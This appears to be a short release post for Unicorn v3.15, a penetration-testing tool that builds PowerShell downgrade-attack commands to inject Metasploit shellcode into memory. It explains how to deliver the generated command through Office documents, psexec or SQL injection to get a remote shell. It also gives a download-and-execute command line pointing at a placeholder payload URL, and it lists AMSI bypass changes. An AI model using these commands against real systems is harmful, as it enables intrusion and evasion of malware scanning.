Unicorn v3.15 - PowerShell downgrade attack

[itsMe]

Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Based on Matthew Graeber’s PowerShell attacks and the PowerShell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18.

Usage is simple, just run Magic Unicorn (ensure Metasploit is installed and in the right path) and it will automatically generate a PowerShell command that you need to simply cut and paste the PowerShell code into a command line window or through a payload delivery system.

—–POWERSHELL ATTACK INSTRUCTIONS—-

Everything is now generated in two files, powershell_attack.txt and unicorn.rc. The text file contains all of the code needed in order to inject the powershell attack into memory. Note you will need a place that supports remote command injection of some sort. Often times this could be through an excel/word doc or through psexec_commands inside of Metasploit, SQLi, etc.. There are so many implications and scenarios to where you can use this attack at. Simply paste the powershell_attack.txt command in any command prompt window or where you have the ability to call the powershell executable and it will give a shell back to you. This attack also supports windows/download_exec for a payload method instead of just Meterpreter payloads. When using the download and exec, simply put python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe and the powershell code will download the payload and execute.

Changelog

version 3.15

* AMSI signature fix
* added AMSI print decoded to payload output
* AMSI bypass signature bypass

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